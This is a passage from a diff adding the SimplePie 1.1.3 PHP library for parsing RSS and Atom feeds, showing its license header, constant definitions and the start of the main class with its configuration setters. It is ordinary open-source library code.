+ * Redistribution and use in source and binary forms, with or without modification, are
+ * permitted provided that the following conditions are met:
+ *
+ * 	* Redistributions of source code must retain the above copyright notice, this list of
+ * 	  conditions and the following disclaimer.
+ *
+ * 	* Redistributions in binary form must reproduce the above copyright notice, this list
+ * 	  of conditions and the following disclaimer in the documentation and/or other materials
+ * 	  provided with the distribution.
+ *
+ * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
+ * 	  to endorse or promote products derived from this software without specific prior
+ * 	  written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
+ * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
+ * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
+ * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+ * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
+ * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+ * POSSIBILITY OF SUCH DAMAGE.
+ *
+ * @package SimplePie
+ * @version 1.1.3
+ * @copyright 2004-2008 Ryan Parman, Geoffrey Sneddon
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @link http://simplepie.org/ SimplePie
+ * @link http://simplepie.org/support/ Please submit all bug reports and feature requests to the SimplePie forums
+ * @license http://www.opensource.org/licenses/bsd-license.php BSD License
+ * @todo phpDoc comments
+ */
+
+/**
+ * SimplePie Name
+ */
+define('SIMPLEPIE_NAME', 'SimplePie');
+
+/**
+ * SimplePie Version
+ */
+define('SIMPLEPIE_VERSION', '1.1.3');
+
+/**
+ * SimplePie Build
+ */
+define('SIMPLEPIE_BUILD', 20081219);
+
+/**
+ * SimplePie Website URL
+ */
+define('SIMPLEPIE_URL', 'http://simplepie.org');
+
+/**
+ * SimplePie Useragent
+ * @see SimplePie::set_useragent()
+ */
+define('SIMPLEPIE_USERAGENT', SIMPLEPIE_NAME . '/' . SIMPLEPIE_VERSION . ' (Feed Parser; ' . SIMPLEPIE_URL . '; Allow like Gecko) Build/' . SIMPLEPIE_BUILD);
+
+/**
+ * SimplePie Linkback
+ */
+define('SIMPLEPIE_LINKBACK', '<a href="' . SIMPLEPIE_URL . '" title="' . SIMPLEPIE_NAME . ' ' . SIMPLEPIE_VERSION . '">' . SIMPLEPIE_NAME . '</a>');
+
+/**
+ * No Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_NONE', 0);
+
+/**
+ * Feed Link Element Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_AUTODISCOVERY', 1);
+
+/**
+ * Local Feed Extension Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_LOCAL_EXTENSION', 2);
+
+/**
+ * Local Feed Body Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_LOCAL_BODY', 4);
+
+/**
+ * Remote Feed Extension Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_REMOTE_EXTENSION', 8);
+
+/**
+ * Remote Feed Body Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_REMOTE_BODY', 16);
+
+/**
+ * All Feed Autodiscovery
+ * @see SimplePie::set_autodiscovery_level()
+ */
+define('SIMPLEPIE_LOCATOR_ALL', 31);
+
+/**
+ * No known feed type
+ */
+define('SIMPLEPIE_TYPE_NONE', 0);
+
+/**
+ * RSS 0.90
+ */
+define('SIMPLEPIE_TYPE_RSS_090', 1);
+
+/**
+ * RSS 0.91 (Netscape)
+ */
+define('SIMPLEPIE_TYPE_RSS_091_NETSCAPE', 2);
+
+/**
+ * RSS 0.91 (Userland)
+ */
+define('SIMPLEPIE_TYPE_RSS_091_USERLAND', 4);
+
+/**
+ * RSS 0.91 (both Netscape and Userland)
+ */
+define('SIMPLEPIE_TYPE_RSS_091', 6);
+
+/**
+ * RSS 0.92
+ */
+define('SIMPLEPIE_TYPE_RSS_092', 8);
+
+/**
+ * RSS 0.93
+ */
+define('SIMPLEPIE_TYPE_RSS_093', 16);
+
+/**
+ * RSS 0.94
+ */
+define('SIMPLEPIE_TYPE_RSS_094', 32);
+
+/**
+ * RSS 1.0
+ */
+define('SIMPLEPIE_TYPE_RSS_10', 64);
+
+/**
+ * RSS 2.0
+ */
+define('SIMPLEPIE_TYPE_RSS_20', 128);
+
+/**
+ * RDF-based RSS
+ */
+define('SIMPLEPIE_TYPE_RSS_RDF', 65);
+
+/**
+ * Non-RDF-based RSS (truly intended as syndication format)
+ */
+define('SIMPLEPIE_TYPE_RSS_SYNDICATION', 190);
+
+/**
+ * All RSS
+ */
+define('SIMPLEPIE_TYPE_RSS_ALL', 255);
+
+/**
+ * Atom 0.3
+ */
+define('SIMPLEPIE_TYPE_ATOM_03', 256);
+
+/**
+ * Atom 1.0
+ */
+define('SIMPLEPIE_TYPE_ATOM_10', 512);
+
+/**
+ * All Atom
+ */
+define('SIMPLEPIE_TYPE_ATOM_ALL', 768);
+
+/**
+ * All feed types
+ */
+define('SIMPLEPIE_TYPE_ALL', 1023);
+
+/**
+ * No construct
+ */
+define('SIMPLEPIE_CONSTRUCT_NONE', 0);
+
+/**
+ * Text construct
+ */
+define('SIMPLEPIE_CONSTRUCT_TEXT', 1);
+
+/**
+ * HTML construct
+ */
+define('SIMPLEPIE_CONSTRUCT_HTML', 2);
+
+/**
+ * XHTML construct
+ */
+define('SIMPLEPIE_CONSTRUCT_XHTML', 4);
+
+/**
+ * base64-encoded construct
+ */
+define('SIMPLEPIE_CONSTRUCT_BASE64', 8);
+
+/**
+ * IRI construct
+ */
+define('SIMPLEPIE_CONSTRUCT_IRI', 16);
+
+/**
+ * A construct that might be HTML
+ */
+define('SIMPLEPIE_CONSTRUCT_MAYBE_HTML', 32);
+
+/**
+ * All constructs
+ */
+define('SIMPLEPIE_CONSTRUCT_ALL', 63);
+
+/**
+ * PCRE for HTML attributes
+ */
+define('SIMPLEPIE_PCRE_HTML_ATTRIBUTE', '((?:[\x09\x0A\x0B\x0C\x0D\x20]+[^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?)*)[\x09\x0A\x0B\x0C\x0D\x20]*');
+
+/**
+ * PCRE for XML attributes
+ */
+define('SIMPLEPIE_PCRE_XML_ATTRIBUTE', '((?:\s+(?:(?:[^\s:]+:)?[^\s:]+)\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'))*)\s*');
+
+/**
+ * XML Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_XML', 'http://www.w3.org/XML/1998/namespace');
+
+/**
+ * Atom 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ATOM_10', 'http://www.w3.org/2005/Atom');
+
+/**
+ * Atom 0.3 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ATOM_03', 'http://purl.org/atom/ns#');
+
+/**
+ * RDF Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RDF', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#');
+
+/**
+ * RSS 0.90 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_090', 'http://my.netscape.com/rdf/simple/0.9/');
+
+/**
+ * RSS 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_10', 'http://purl.org/rss/1.0/');
+
+/**
+ * RSS 1.0 Content Module Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT', 'http://purl.org/rss/1.0/modules/content/');
+
+/**
+ * RSS 2.0 Namespace
+ * (Stupid, I know, but I'm certain it will confuse people less with support.)
+ */
+define('SIMPLEPIE_NAMESPACE_RSS_20', '');
+
+/**
+ * DC 1.0 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_DC_10', 'http://purl.org/dc/elements/1.0/');
+
+/**
+ * DC 1.1 Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_DC_11', 'http://purl.org/dc/elements/1.1/');
+
+/**
+ * W3C Basic Geo (WGS84 lat/long) Vocabulary Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO', 'http://www.w3.org/2003/01/geo/wgs84_pos#');
+
+/**
+ * GeoRSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_GEORSS', 'http://www.georss.org/georss');
+
+/**
+ * Media RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS', 'http://search.yahoo.com/mrss/');
+
+/**
+ * Wrong Media RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG', 'http://search.yahoo.com/mrss');
+
+/**
+ * iTunes RSS Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_ITUNES', 'http://www.itunes.com/dtds/podcast-1.0.dtd');
+
+/**
+ * XHTML Namespace
+ */
+define('SIMPLEPIE_NAMESPACE_XHTML', 'http://www.w3.org/1999/xhtml');
+
+/**
+ * IANA Link Relations Registry
+ */
+define('SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY', 'http://www.iana.org/assignments/relation/');
+
+/**
+ * Whether we're running on PHP5
+ */
+define('SIMPLEPIE_PHP5', version_compare(PHP_VERSION, '5.0.0', '>='));
+
+/**
+ * No file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_NONE', 0);
+
+/**
+ * Remote file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_REMOTE', 1);
+
+/**
+ * Local file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_LOCAL', 2);
+
+/**
+ * fsockopen() file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_FSOCKOPEN', 4);
+
+/**
+ * cURL file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_CURL', 8);
+
+/**
+ * file_get_contents() file source
+ */
+define('SIMPLEPIE_FILE_SOURCE_FILE_GET_CONTENTS', 16);
+
+/**
+ * SimplePie
+ *
+ * @package SimplePie
+ * @version "Razzleberry"
+ * @copyright 2004-2007 Ryan Parman, Geoffrey Sneddon
+ * @author Ryan Parman
+ * @author Geoffrey Sneddon
+ * @todo Option for type of fetching (cache, not modified header, fetch, etc.)
+ */
+class SimplePie
+{
+	/**
+	 * @var array Raw data
+	 * @access private
+	 */
+	var $data = array();
+
+	/**
+	 * @var mixed Error string
+	 * @access private
+	 */
+	var $error;
+
+	/**
+	 * @var object Instance of SimplePie_Sanitize (or other class)
+	 * @see SimplePie::set_sanitize_class()
+	 * @access private
+	 */
+	var $sanitize;
+
+	/**
+	 * @var string SimplePie Useragent
+	 * @see SimplePie::set_useragent()
+	 * @access private
+	 */
+	var $useragent = SIMPLEPIE_USERAGENT;
+
+	/**
+	 * @var string Feed URL
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	var $feed_url;
+
+	/**
+	 * @var object Instance of SimplePie_File to use as a feed
+	 * @see SimplePie::set_file()
+	 * @access private
+	 */
+	var $file;
+
+	/**
+	 * @var string Raw feed data
+	 * @see SimplePie::set_raw_data()
+	 * @access private
+	 */
+	var $raw_data;
+
+	/**
+	 * @var int Timeout for fetching remote files
+	 * @see SimplePie::set_timeout()
+	 * @access private
+	 */
+	var $timeout = 10;
+
+	/**
+	 * @var bool Forces fsockopen() to be used for remote files instead
+	 * of cURL, even if a new enough version is installed
+	 * @see SimplePie::force_fsockopen()
+	 * @access private
+	 */
+	var $force_fsockopen = false;
+
+	/**
+	 * @var bool Force the given data/URL to be treated as a feed no matter what
+	 * it appears like
+	 * @see SimplePie::force_feed()
+	 * @access private
+	 */
+	var $force_feed = false;
+
+	/**
+	 * @var bool Enable/Disable XML dump
+	 * @see SimplePie::enable_xml_dump()
+	 * @access private
+	 */
+	var $xml_dump = false;
+
+	/**
+	 * @var bool Enable/Disable Caching
+	 * @see SimplePie::enable_cache()
+	 * @access private
+	 */
+	var $cache = true;
+
+	/**
+	 * @var int Cache duration (in seconds)
+	 * @see SimplePie::set_cache_duration()
+	 * @access private
+	 */
+	var $cache_duration = 3600;
+
+	/**
+	 * @var int Auto-discovery cache duration (in seconds)
+	 * @see SimplePie::set_autodiscovery_cache_duration()
+	 * @access private
+	 */
+	var $autodiscovery_cache_duration = 604800; // 7 Days.
+
+	/**
+	 * @var string Cache location (relative to executing script)
+	 * @see SimplePie::set_cache_location()
+	 * @access private
+	 */
+	var $cache_location = './cache';
+
+	/**
+	 * @var string Function that creates the cache filename
+	 * @see SimplePie::set_cache_name_function()
+	 * @access private
+	 */
+	var $cache_name_function = 'md5';
+
+	/**
+	 * @var bool Reorder feed by date descending
+	 * @see SimplePie::enable_order_by_date()
+	 * @access private
+	 */
+	var $order_by_date = true;
+
+	/**
+	 * @var mixed Force input encoding to be set to the follow value
+	 * (false, or anything type-cast to false, disables this feature)
+	 * @see SimplePie::set_input_encoding()
+	 * @access private
+	 */
+	var $input_encoding = false;
+
+	/**
+	 * @var int Feed Autodiscovery Level
+	 * @see SimplePie::set_autodiscovery_level()
+	 * @access private
+	 */
+	var $autodiscovery = SIMPLEPIE_LOCATOR_ALL;
+
+	/**
+	 * @var string Class used for caching feeds
+	 * @see SimplePie::set_cache_class()
+	 * @access private
+	 */
+	var $cache_class = 'SimplePie_Cache';
+
+	/**
+	 * @var string Class used for locating feeds
+	 * @see SimplePie::set_locator_class()
+	 * @access private
+	 */
+	var $locator_class = 'SimplePie_Locator';
+
+	/**
+	 * @var string Class used for parsing feeds
+	 * @see SimplePie::set_parser_class()
+	 * @access private
+	 */
+	var $parser_class = 'SimplePie_Parser';
+
+	/**
+	 * @var string Class used for fetching feeds
+	 * @see SimplePie::set_file_class()
+	 * @access private
+	 */
+	var $file_class = 'SimplePie_File';
+
+	/**
+	 * @var string Class used for items
+	 * @see SimplePie::set_item_class()
+	 * @access private
+	 */
+	var $item_class = 'SimplePie_Item';
+
+	/**
+	 * @var string Class used for authors
+	 * @see SimplePie::set_author_class()
+	 * @access private
+	 */
+	var $author_class = 'SimplePie_Author';
+
+	/**
+	 * @var string Class used for categories
+	 * @see SimplePie::set_category_class()
+	 * @access private
+	 */
+	var $category_class = 'SimplePie_Category';
+
+	/**
+	 * @var string Class used for enclosures
+	 * @see SimplePie::set_enclosures_class()
+	 * @access private
+	 */
+	var $enclosure_class = 'SimplePie_Enclosure';
+
+	/**
+	 * @var string Class used for Media RSS <media:text> captions
+	 * @see SimplePie::set_caption_class()
+	 * @access private
+	 */
+	var $caption_class = 'SimplePie_Caption';
+
+	/**
+	 * @var string Class used for Media RSS <media:copyright>
+	 * @see SimplePie::set_copyright_class()
+	 * @access private
+	 */
+	var $copyright_class = 'SimplePie_Copyright';
+
+	/**
+	 * @var string Class used for Media RSS <media:credit>
+	 * @see SimplePie::set_credit_class()
+	 * @access private
+	 */
+	var $credit_class = 'SimplePie_Credit';
+
+	/**
+	 * @var string Class used for Media RSS <media:rating>
+	 * @see SimplePie::set_rating_class()
+	 * @access private
+	 */
+	var $rating_class = 'SimplePie_Rating';
+
+	/**
+	 * @var string Class used for Media RSS <media:restriction>
+	 * @see SimplePie::set_restriction_class()
+	 * @access private
+	 */
+	var $restriction_class = 'SimplePie_Restriction';
+
+	/**
+	 * @var string Class used for content-type sniffing
+	 * @see SimplePie::set_content_type_sniffer_class()
+	 * @access private
+	 */
+	var $content_type_sniffer_class = 'SimplePie_Content_Type_Sniffer';
+
+	/**
+	 * @var string Class used for item sources.
+	 * @see SimplePie::set_source_class()
+	 * @access private
+	 */
+	var $source_class = 'SimplePie_Source';
+
+	/**
+	 * @var mixed Set javascript query string parameter (false, or
+	 * anything type-cast to false, disables this feature)
+	 * @see SimplePie::set_javascript()
+	 * @access private
+	 */
+	var $javascript = 'js';
+
+	/**
+	 * @var int Maximum number of feeds to check with autodiscovery
+	 * @see SimplePie::set_max_checked_feeds()
+	 * @access private
+	 */
+	var $max_checked_feeds = 10;
+
+	/**
+	 * @var string Web-accessible path to the handler_favicon.php file.
+	 * @see SimplePie::set_favicon_handler()
+	 * @access private
+	 */
+	var $favicon_handler = '';
+
+	/**
+	 * @var string Web-accessible path to the handler_image.php file.
+	 * @see SimplePie::set_image_handler()
+	 * @access private
+	 */
+	var $image_handler = '';
+
+	/**
+	 * @var array Stores the URLs when multiple feeds are being initialized.
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	var $multifeed_url = array();
+
+	/**
+	 * @var array Stores SimplePie objects when multiple feeds initialized.
+	 * @access private
+	 */
+	var $multifeed_objects = array();
+
+	/**
+	 * @var array Stores the get_object_vars() array for use with multifeeds.
+	 * @see SimplePie::set_feed_url()
+	 * @access private
+	 */
+	var $config_settings = null;
+
+	/**
+	 * @var integer Stores the number of items to return per-feed with multifeeds.
+	 * @see SimplePie::set_item_limit()
+	 * @access private
+	 */
+	var $item_limit = 0;
+
+	/**
+	 * @var array Stores the default attributes to be stripped by strip_attributes().
+	 * @see SimplePie::strip_attributes()
+	 * @access private
+	 */
+	var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
+
+	/**
+	 * @var array Stores the default tags to be stripped by strip_htmltags().
+	 * @see SimplePie::strip_htmltags()
+	 * @access private
+	 */
+	var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
+
+	/**
+	 * The SimplePie class contains feed level data and options
+	 *
+	 * There are two ways that you can create a new SimplePie object. The first
+	 * is by passing a feed URL as a parameter to the SimplePie constructor
+	 * (as well as optionally setting the cache location and cache expiry). This
+	 * will initialise the whole feed with all of the default settings, and you
+	 * can begin accessing methods and properties immediately.
+	 *
+	 * The second way is to create the SimplePie object with no parameters
+	 * at all. This will enable you to set configuration options. After setting
+	 * them, you must initialise the feed using $feed->init(). At that point the
+	 * object's methods and properties will be available to you. This format is
+	 * what is used throughout this documentation.
+	 *
+	 * @access public
+	 * @since 1.0 Preview Release
+	 * @param string $feed_url This is the URL you want to parse.
+	 * @param string $cache_location This is where you want the cache to be stored.
+	 * @param int $cache_duration This is the number of seconds that you want to store the cache file for.
+	 */
+	function SimplePie($feed_url = null, $cache_location = null, $cache_duration = null)
+	{
+		// Other objects, instances created here so we can set options on them
+		$this->sanitize =& new SimplePie_Sanitize;
+
+		// Set options if they're passed to the constructor
+		if ($cache_location !== null)
+		{
+			$this->set_cache_location($cache_location);
+		}
+
+		if ($cache_duration !== null)
+		{
+			$this->set_cache_duration($cache_duration);
+		}
+
+		// Only init the script if we're passed a feed URL
+		if ($feed_url !== null)
+		{
+			$this->set_feed_url($feed_url);
+			$this->init();
+		}
+	}
+
+	/**
+	 * Used for converting object to a string
+	 */
+	function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	function __destruct()
+	{
+		if ((version_compare(PHP_VERSION, '5.3', '<') || !gc_enabled()) && !ini_get('zend.ze1_compatibility_mode'))
+		{
+			if (!empty($this->data['items']))
+			{
+				foreach ($this->data['items'] as $item)
+				{
+					$item->__destruct();
+				}
+				unset($item, $this->data['items']);
+			}
+			if (!empty($this->data['ordered_items']))
+			{
+				foreach ($this->data['ordered_items'] as $item)
+				{
+					$item->__destruct();
+				}
+				unset($item, $this->data['ordered_items']);
+			}
+		}
+	}
+
+	/**
+	 * Force the given data/URL to be treated as a feed no matter what it
+	 * appears like
+	 *
+	 * @access public
+	 * @since 1.1
+	 * @param bool $enable Force the given data/URL to be treated as a feed
+	 */
+	function force_feed($enable = false)
+	{
+		$this->force_feed = (bool) $enable;
+	}
+
+	/**
+	 * This is the URL of the feed you want to parse.
+	 *
+	 * This allows you to enter the URL of the feed you want to parse, or the
+	 * website you want to try to use auto-discovery on. This takes priority
+	 * over any set raw data.
+	 *
+	 * You can set multiple feeds to mash together by passing an array instead
+	 * of a string for the $url. Remember that with each additional feed comes
+	 * additional processing and resources.
+	 *
+	 * @access public
+	 * @since 1.0 Preview Release
+	 * @param mixed $url This is the URL (or array of URLs) that you want to parse.
+	 * @see SimplePie::set_raw_data()
+	 */
+	function set_feed_url($url)
+	{
+		if (is_array($url))
+		{
+			$this->multifeed_url = array();
+			foreach ($url as $value)
+			{
+				$this->multifeed_url[] = SimplePie_Misc::fix_protocol($value, 1);
+			}
+		}
+		else
+		{
+			$this->feed_url = SimplePie_Misc::fix_protocol($url, 1);
+		}
+	}
+
+	/**
+	 * Provides an instance of SimplePie_File to use as a feed
+	 *
+	 * @access public
+	 * @param object &$file Instance of SimplePie_File (or subclass)
+	 * @return bool True on success, false on failure
+	 */
+	function set_file(&$file)
+	{
+		if (is_a($file, 'SimplePie_File'))
+		{
+			$this->feed_url = $file->url;
+			$this->file =& $file;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to use a string of RSS/Atom data instead of a remote feed.
+	 *
+	 * If you have a feed available as a string in PHP, you can tell SimplePie
+	 * to parse that data string instead of a remote feed. Any set feed URL
+	 * takes precedence.
+	 *
+	 * @access public
+	 * @since 1.0 Beta 3
+	 * @param string $data RSS or Atom data as a string.
+	 * @see SimplePie::set_feed_url()
+	 */
+	function set_raw_data($data)
+	{
+		$this->raw_data = $data;
+	}
+
+	/**
+	 * Allows you to override the default timeout for fetching remote feeds.
+	 *
+	 * This allows you to change the maximum time the feed's server to respond
+	 * and send the feed back.
+	 *
+	 * @access public
+	 * @since 1.0 Beta 3
+	 * @param int $timeout The maximum number of seconds to spend waiting to retrieve a feed.
+	 */
+	function set_timeout($timeout = 10)
+	{
+		$this->timeout = (int) $timeout;
+	}
+
+	/**
+	 * Forces SimplePie to use fsockopen() instead of the preferred cURL
+	 * functions.
+	 *
+	 * @access public
+	 * @since 1.0 Beta 3
+	 * @param bool $enable Force fsockopen() to be used
+	 */
+	function force_fsockopen($enable = false)
+	{
+		$this->force_fsockopen = (bool) $enable;
+	}
+
+	/**
+	 * Outputs the raw XML content of the feed, after it has gone through
+	 * SimplePie's filters.
+	 *
+	 * Used only for debugging, this function will output the XML content as
+	 * text/xml. When SimplePie reads in a feed, it does a bit of cleaning up
+	 * before trying to parse it. Many parts of the feed are re-written in
+	 * memory, and in the end, you have a parsable feed. XML dump shows you the
+	 * actual XML that SimplePie tries to parse, which may or may not be very
+	 * different from the original feed.
+	 *
+	 * @access public
+	 * @since 1.0 Preview Release
+	 * @param bool $enable Enable XML dump
+	 */
+	function enable_xml_dump($enable = false)
+	{
+		$this->xml_dump = (bool) $enable;
+	}
+
+	/**
+	 * Enables/disables caching in SimplePie.
+	 *
+	 * This option allows you to disable caching all-together in SimplePie.
+	 * However, disabling the cache can lead to longer load times.
+	 *
+	 * @access public
+	 * @since 1.0 Preview Release
+	 * @param bool $enable Enable caching
+	 */
+	function enable_cache($enable = true)
+	{
+		$this->cache = (bool) $enable;
+	}
+
+	/**
+	 * Set the length of time (in seconds) that the contents of a feed
+	 * will be cached.
+	 *
+	 * @access public
+	 * @param int $seconds The feed content cache duration.
+	 */
+	function set_cache_duration($seconds = 3600)
+	{
+		$this->cache_duration = (int) $seconds;
+	}
+
+	/**
+	 * Set the length of time (in seconds) that the autodiscovered feed
+	 * URL will be cached.
+	 *
+	 * @access public
+	 * @param int $seconds The autodiscovered feed URL cache duration.
+	 */
+	function set_autodiscovery_cache_duration($seconds = 604800)
+	{
+		$this->autodiscovery_cache_duration = (int) $seconds;
+	}
+
+	/**
+	 * Set the file system location where the cached files should be stored.
+	 *
+	 * @access public
+	 * @param string $location The file system location.
+	 */
+	function set_cache_location($location = './cache')
+	{
+		$this->cache_location = (string) $location;
+	}
+
+	/**
+	 * Determines whether feed items should be sorted into reverse chronological order.
+	 *
+	 * @access public
+	 * @param bool $enable Sort as reverse chronological order.
+	 */
+	function enable_order_by_date($enable = true)
+	{
+		$this->order_by_date = (bool) $enable;
+	}
+
+	/**
+	 * Allows you to override the character encoding reported by the feed.
+	 *
+	 * @access public
+	 * @param string $encoding Character encoding.
+	 */
+	function set_input_encoding($encoding = false)
+	{
+		if ($encoding)
+		{
+			$this->input_encoding = (string) $encoding;
+		}
+		else
+		{
+			$this->input_encoding = false;
+		}
+	}
+
+	/**
+	 * Set how much feed autodiscovery to do
+	 *
+	 * @access public
+	 * @see SIMPLEPIE_LOCATOR_NONE
+	 * @see SIMPLEPIE_LOCATOR_AUTODISCOVERY
+	 * @see SIMPLEPIE_LOCATOR_LOCAL_EXTENSION
+	 * @see SIMPLEPIE_LOCATOR_LOCAL_BODY
+	 * @see SIMPLEPIE_LOCATOR_REMOTE_EXTENSION
+	 * @see SIMPLEPIE_LOCATOR_REMOTE_BODY
+	 * @see SIMPLEPIE_LOCATOR_ALL
+	 * @param int $level Feed Autodiscovery Level (level can be a
+	 * combination of the above constants, see bitwise OR operator)
+	 */
+	function set_autodiscovery_level($level = SIMPLEPIE_LOCATOR_ALL)
+	{
+		$this->autodiscovery = (int) $level;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for caching.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_cache_class($class = 'SimplePie_Cache')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Cache'))
+		{
+			$this->cache_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for auto-discovery.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_locator_class($class = 'SimplePie_Locator')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Locator'))
+		{
+			$this->locator_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for XML parsing.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_parser_class($class = 'SimplePie_Parser')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Parser'))
+		{
+			$this->parser_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for remote file fetching.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_file_class($class = 'SimplePie_File')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_File'))
+		{
+			$this->file_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for data sanitization.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_sanitize_class($class = 'SimplePie_Sanitize')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Sanitize'))
+		{
+			$this->sanitize =& new $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for handling feed items.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
+	 * @link http://php.net/manual/en/keyword.extends.php PHP4 extends documentation
+	 * @link http://php.net/manual/en/language.oop5.basic.php#language.oop5.basic.extends PHP5 extends documentation
+	 */
+	function set_item_class($class = 'SimplePie_Item')
+	{
+		if (SimplePie_Misc::is_subclass_of($class, 'SimplePie_Item'))
+		{
+			$this->item_class = $class;
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Allows you to change which class SimplePie uses for handling author data.
+	 * Useful when you are overloading or extending SimplePie's default classes.
+	 *
+	 * @access public
+	 * @param string $class Name of custom class.
